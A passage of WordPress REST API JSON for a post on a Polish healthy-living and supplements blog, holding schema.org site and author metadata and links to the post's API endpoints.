wybra\u0107 dobry ekstrakt z sopl\u00f3wki je\u017cowatej?"}]},{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100","name":"mr-white","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","caption":"mr-white"},"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11628","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=11628"}],"version-history":[{"count":1,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11628\/revisions"}],"predecessor-version":[{"id":11630,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11628\/revisions\/11630"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/11629"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=11628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=11628"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=11628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}